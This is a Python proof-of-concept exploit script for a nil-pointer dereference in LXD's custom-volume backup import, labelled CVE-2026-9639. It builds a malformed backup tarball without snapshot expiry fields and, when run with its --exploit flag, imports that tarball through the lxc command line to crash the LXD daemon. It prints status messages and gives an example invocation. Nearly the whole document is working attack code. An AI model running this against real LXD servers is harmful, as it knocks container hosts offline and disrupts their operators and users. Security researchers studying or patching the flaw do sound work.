#!/usr/bin/env python3
"""
CVE-2026-9639 PoC - LXD CreateCustomVolumeFromBackup Nil-Pointer Dereference
This script generates a malicious custom-volume backup tarball that omits
the expires_at snapshot field to trigger a nil-pointer dereference in LXD.
"""
import tarfile
import io
import yaml
import struct
import sys
import os
import argparse
def create_malicious_backup(output_path, volume_name="evil-volume"):
"""Create a malicious LXD custom-volume backup tarball."""
# LXD backup index.yaml structure (without expires_at field)
# The expires_at field is intentionally omitted to trigger nil-pointer dereference
index_yaml = {
"config": {},
"name": volume_name,
"snapshots": [
{
"name": "snap0",
# "expires_at" field is intentionally omitted (nil-pointer trigger)
"config": {}
}
],
"version": "1.0"
}
# Backup configuration
config_yaml = {
"volume": {
"name": volume_name,
"type": "custom",
"config": {}
},
"snapshots": [
{
"name": "snap0",
# Intentionally missing expires_at to trigger the vulnerability
"timestamp": "2026-01-01T00:00:00Z"
}
]
}
with tarfile.open(output_path, "w:gz") as tar:
# Add index.yaml without expires_at field
index_data = yaml.dump(index_yaml).encode('utf-8')
index_info = tarfile.TarInfo(name="backup/index.yaml")
index_info.size = len(index_data)
tar.addfile(index_info, io.BytesIO(index_data))
# Add backup.yaml without expires_at field
config_data = yaml.dump(config_yaml).encode('utf-8')
config_info = tarfile.TarInfo(name="backup/config.yaml")
config_info.size = len(config_data)
tar.addfile(config_info, io.BytesIO(config_data))
# Add minimal volume data placeholder
placeholder_data = b"\x00" * 4096
placeholder_info = tarfile.TarInfo(name=f"backup/volume/{volume_name}.bin")
placeholder_info.size = len(placeholder_data)
tar.addfile(placeholder_info, io.BytesIO(placeholder_data))
print(f"[+] Malicious backup tarball created: {output_path}")
print(f"[+] Volume name: {volume_name}")
print(f"[+] expires_at field intentionally omitted to trigger nil-pointer dereference")
def exploit_lxd(backup_path, lxd_endpoint="https://127.0.0.1:8443"):
"""
Send the malicious backup to LXD API to trigger the vulnerability.
Requires valid LXD authentication with can_create_storage_volumes permission.
"""
import subprocess
import json
print(f"[*] Target LXD endpoint: {lxd_endpoint}")
print(f"[*] Malicious backup: {backup_path}")
print(f"[*] Attempting to trigger nil-pointer dereference via CreateCustomVolumeFromBackup...")
# Use LXD CLI to import the malicious backup
cmd = [
"lxc", "storage", "volume", "import",
"default", backup_path,
"--pool=default"
]
print(f"[*] Executing: {' '.join(cmd)}")
print(f"[!] If vulnerable, LXD daemon will crash with nil-pointer dereference panic")
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
print(f"[*] stdout: {result.stdout}")
print(f"[*] stderr: {result.stderr}")
print(f"[*] return code: {result.returncode}")
except subprocess.TimeoutExpired:
print("[!] Command timed out - LXD daemon may have crashed (vulnerable!)")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2026-9639 PoC")
parser.add_argument("-o", "--output", default="evil_backup.tar.gz", help="Output tarball path")
parser.add_argument("-n", "--name", default="evil-volume", help="Custom volume name")
parser.add_argument("-e", "--endpoint", default="https://127.0.0.1:8443", help="LXD endpoint")
parser.add_argument("--exploit", action="store_true", help="Attempt exploitation")
args = parser.parse_args()
create_malicious_backup(args.output, args.name)
if args.exploit:
exploit_lxd(args.output, args.endpoint)
else:
print(f"\n[*] To exploit, run with --exploit flag")
print(f"[*] Example: python3 {sys.argv[0]} --exploit -o /tmp/evil.tar.gz")